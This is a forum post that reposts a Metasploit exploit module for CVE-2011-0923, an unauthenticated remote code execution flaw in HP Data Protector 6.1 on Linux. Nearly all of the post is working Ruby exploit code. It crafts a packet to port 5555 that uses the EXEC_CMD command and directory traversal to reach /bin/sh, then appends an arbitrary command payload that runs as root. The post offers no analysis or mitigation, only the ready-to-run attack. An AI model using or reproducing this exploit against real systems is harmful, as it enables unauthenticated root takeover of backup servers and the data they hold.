Jump to content
The_Arhitect

HP Data Protector 6.1 EXEC_CMD Remote Code Execution

Recommended Posts

Posted

HP Data Protector 6.1 EXEC_CMD Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector 6.1 EXEC_CMD Remote Code Execution',
'Description' => %q{
This exploit abuses a vulnerability in the HP Data Protector service. This
flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD
command and traverse back to /bin/sh, this allows arbitrary remote code
execution under the context of root.
},
'Author' =>
[
'ch0ks', # poc
'c4an', # msf poc
'wireghoul' # Improved msf
],
'References' =>
[
[ 'CVE', '2011-0923'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
[ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']
],
'DisclosureDate' => 'Feb 7 2011',
'Platform' => [ 'unix','linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd' }
},
'Targets' =>
[
[ 'HP Data Protector 6.10/6.11 on Linux', {}]
],
'DefaultTarget' => 0
))
register_options([Opt::RPORT(5555),], self.class)
end
def exploit
user = rand_text_alpha(4)
packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
packet << user*2
packet << "\x00\x20\x30\x00\x20"
packet << "SYSTEM"
packet << "\x00\x20\x63\x34\x61\x6e"
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
packet << user
packet << "\x20\x20\x20\x20\x00\x20"
packet << "\x50\x6f\x63"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
packet << "../../../../../../../../../../"
shell_mio = "bin/sh"
salto = "\n"
s = salto.encode
shell = shell_mio
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << payload.encoded
shell << s
sploit = packet + shell
begin
print_status("Sending our commmand...")
connect
sock.put(sploit)
print_status("Waiting ...")
handler
# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
res = sock.get
print_status(res.to_s) if not res.empty?
end
rescue
print_error("Error in connection or socket")
ensure
disconnect
end
end
end

Sursa: HP Data Protector 6.1 EXEC_CMD Remote Code Execution

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...